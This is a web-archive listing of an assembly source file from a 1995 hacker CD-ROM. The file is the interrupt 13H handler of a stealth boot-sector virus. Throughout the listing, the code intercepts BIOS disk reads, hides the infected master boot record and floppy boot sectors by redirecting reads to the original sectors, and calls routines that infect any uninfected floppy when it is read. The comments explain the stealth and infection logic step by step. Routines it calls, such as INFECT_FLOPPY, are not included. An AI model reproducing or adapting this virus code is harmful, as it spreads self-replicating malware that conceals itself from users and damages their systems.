home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / BSTEALTH / LEVEL1 / INT13H.ASM < prev   
Encoding:
Assembly Source File  |  1995-07-03  |  4.9 KB  |  94 lines

  1. ;*******************************************************************************
  2. ;* INTERRUPT 13H HANDLER                                                       *
  3. ;*******************************************************************************
  4.  
  5. OLD_13H DD      ?                       ;Old interrupt 13H vector goes here
  6.  
  7. INT_13H:
  8.         sti
  9.         cmp     ah,2                    ;we want to intercept reads
  10.         jz      READ_FUNCTION
  11. I13R:   jmp     DWORD PTR cs:[OLD_13H]
  12.  
  13. ;*******************************************************************************
  14. ;This section of code handles all attempts to access the Disk BIOS Function 2.
  15. ;It stealths the boot sector on both hard disks and floppy disks, by
  16. ;re-directing the read to the original boot sector. It handles multi-sector
  17. ;reads properly, by dividing the read into two parts. If an attempt is
  18. ;made to read the boot sector on the floppy, and the motor is off, this
  19. ;routine will check to see if the floppy has been infected, and if not, it
  20. ;will infect it.
  21. READ_FUNCTION:                                  ;Disk Read Function Handler
  22.         cmp     dh,0                            ;is it a read on head 0?
  23.         jnz     ROM_BIOS                        ;nope, we're not interested
  24.         cmp     dl,80H                          ;is this a hard disk read?
  25.         jc      READ_FLOPPY                     ;no, go handle floppy
  26.  
  27.  
  28. ;This routine stealths the hard disk. It's really pretty simple, since all it
  29. ;has to do is add VIR_SIZE+1 to the sector number being read, provided the
  30. ;sector being read is somewhere in the virus. That moves a read of the
  31. ;master boot sector out to the original master boot record, and it moves
  32. ;all other sector reads out past where the virus is, presumably returning
  33. ;blank data.
  34. READ_HARD:                                      ;else handle hard disk
  35.         cmp     cx,VIR_SIZE+3                   ;is it cyl 0, sec < VIR_SIZE + 3?
  36.         jnc     ROM_BIOS                        ;no, let BIOS handle it
  37.         push    cx
  38.         add     cx,VIR_SIZE+1                   ;adjust sec no (stealth)
  39.         pushf                                   ;and read from here instead
  40.         call    DWORD PTR cs:[OLD_13H]          ;call ROM BIOS
  41.         pop     cx                              ;restore original sec no
  42.         retf    2                               ;and return to caller
  43.  
  44. ROM_BIOS:                                       ;jump to ROM BIOS disk handler
  45.         jmp     DWORD PTR cs:[OLD_13H]
  46.  
  47.  
  48. ;This handles reading from the floppy, which is a bit more complex. For one,
  49. ;we can't know where the original boot sector is, unless we first read the
  50. ;viral one and get that information out of it. Secondly, a multi-sector
  51. ;read must return with the FAT in the second sector, etc.
  52. READ_FLOPPY:
  53.         cmp     cx,1                            ;is it cylinder 0, sector 1?
  54.         jnz     ROM_BIOS                        ;no, let BIOS handle it
  55.         mov     cs:[CURR_DISK],dl               ;save currently accessed drive #
  56.         call    CHECK_DISK                      ;is floppy already infected?
  57.         jz      FLOPPY_STEALTH                  ;yes, stealth the read
  58.  
  59.         call    INIT_FAT_MANAGER                ;initialize FAT management routines
  60.         call    INFECT_FLOPPY                   ;no, go infect the diskette
  61. RF2:    call    CHECK_DISK                      ;see if infection took
  62.         jnz     ROM_BIOS                        ;no, no stealth required, go to BIOS
  63.  
  64. ;If we get here, we need stealth.
  65. FLOPPY_STEALTH:
  66.         int     40H                             ;read requested sectors
  67.         mov     cs:[REPORT],ax                  ;save returned ax value here
  68.         jnc     BOOT_SECTOR                     ;and read boot sec if no error
  69.         mov     al,0                            ;error, return with al=0
  70.         retf    2                               ;and carry set
  71.  
  72. ;This routine reads the original boot sector.
  73. BOOT_SECTOR:
  74.         mov     cx,WORD PTR es:[bx + 3EH]       ;cx, dh locate start of
  75.         mov     dh,BYTE PTR es:[bx + 41H]       ;main body of virus
  76.         add     cl,VIR_SIZE                     ;update to find orig boot sec
  77.         cmp     cl,BYTE PTR cs:[BS_SECS_PER_TRACK]          ;this procedure works
  78.         jbe     BS1                             ;as long as
  79.         sub     cl,BYTE PTR cs:[BS_SECS_PER_TRACK]          ;VIR_SIZE<=BS_SECS_PER_TRACK
  80.         xor     dh,1
  81.         jnz     BS1
  82.         inc     ch
  83. BS1:    mov     ax,201H                         ;read original boot sector
  84.         int     40H                             ;using BIOS floppy disk
  85.         mov     cx,1                            ;restore cx and dh
  86.         mov     dh,0
  87.         jc      EXNOW                           ;error, exit now
  88.         mov     ax,cs:[REPORT]
  89. EXNOW:  retf    2                               ;and exit to caller
  90.  
  91.  
  92. REPORT  DW      ?                               ;value reported to caller in ax
  93.  
  94.